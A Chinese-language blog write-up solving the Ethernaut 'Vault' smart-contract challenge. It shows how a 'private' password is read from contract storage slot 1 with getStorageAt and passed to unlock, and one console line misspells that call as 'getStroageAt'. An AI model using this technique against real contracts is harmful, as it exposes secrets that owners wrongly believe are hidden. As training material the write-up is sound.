Ethernaut – level 8 : Vault

(https://ethernaut.openzeppelin.com/level/0xf94b476063B6379A3c8b6C836efB8B3e10eDe188)

這一關要解鎖金庫,解鎖了就過關了。

馬上來看程式碼,看來只需要知道password,然後輸入await contract.unlock(password),就可以過關了。因此關鍵在於如何得知password。

bool public locked;
bytes32 private password;

function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }

這邊有一個關鍵的知識點,web3.eth.getStorageAt(instance, position),雖然password被宣告為private, 但宣告 private 關鍵字僅是預防其他合約對變數的存取及修改,使用getStorageAt仍能得到其值,問題只在於position( position:Number – 存儲中的索引編號),關於這個索引編號的計算,是有點複雜的,想要詳細的可以看這裡,以這題來講locked變數為索引0,password起始索引為1,每個索引為32 bytes的資料,剛好這邊password為bytes32的資料,因此我們只要在console輸入:

const password = await web3.eth.getStroageAt(instance, 1);
await contract.unlock(password);

解鎖金庫成功,level Cleared!

*takeaways:

  • 不應該假設別人無法得知contract變數儲存的值來設計安全機制。